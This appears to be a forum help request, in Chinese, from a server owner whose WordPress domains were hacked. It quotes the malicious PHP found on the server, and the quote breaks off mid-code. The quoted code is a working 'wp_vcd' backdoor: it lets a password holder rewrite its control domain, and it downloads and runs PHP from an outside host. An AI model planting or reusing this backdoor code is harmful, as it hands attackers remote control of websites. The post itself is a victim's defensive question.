我的Linux服务器上的多个域似乎都被黑客攻击了——我不完全确定是怎么做到的,我不能像黑客一样思考!但他们已经成功破解了运行wordpress的多个域名。
违规代码为:
<?php
if (isset($_REQUEST['action']) && isset($_REQUEST['password']) && ($_REQUEST['password'] == '751486a687f91a0d030551bb518f903e'))
{
$div_code_name="wp_vcd";
switch ($_REQUEST['action'])
{
case 'change_domain';
if (isset($_REQUEST['newdomain']))
{
if (!empty($_REQUEST['newdomain']))
{
if ($file = @file_get_contents(__FILE__))
{
if(preg_match_all('/\$tmpcontent = @file_get_contents\("http:\/\/(.*)\/code8\.php/i',$file,$matcholddomain))
{
$file = preg_replace('/'.$matcholddomain[1][0].'/i',$_REQUEST['newdomain'], $file);
@file_put_contents(__FILE__, $file);
print "true";
}
}
}
}
break;
default: print "ERROR_WP_ACTION WP_V_CD WP_CD";
}
die("");
}
if ( ! function_exists( 'theme_temp_setup' ) ) {
$path=$_SERVER['HTTP_HOST'].$_SERVER[REQUEST_URI];
if ( stripos($_SERVER['REQUEST_URI'], 'wp-cron.php') == false && stripos($_SERVER['REQUEST_URI'], 'xmlrpc.php') == false) {
function file_get_contents_tcurl($url) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_AUTOREFERER, TRUE);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE);
$data = curl_exec($ch);
curl_close($ch);
return $data;
}
function theme_temp_setup($phpCode) {
$tmpfname = tempnam(sys_get_temp_dir(), "theme_temp_setup");
$handle = fopen($tmpfname, "w+");
fwrite($handle, "<?php\n" . $phpCode);
fclose($handle);
include $tmpfname;
unlink($tmpfname);
return get_defined_vars();
}
if($tmpcontent = @file_get_contents("http://www.verna.cc/code8.php"))
{
extract(theme_temp_setup($tmpcontent));
}
elseif($tmpcontent = @file_get_contents_tcurl("http://www.verna.cc/code8.php"))
{
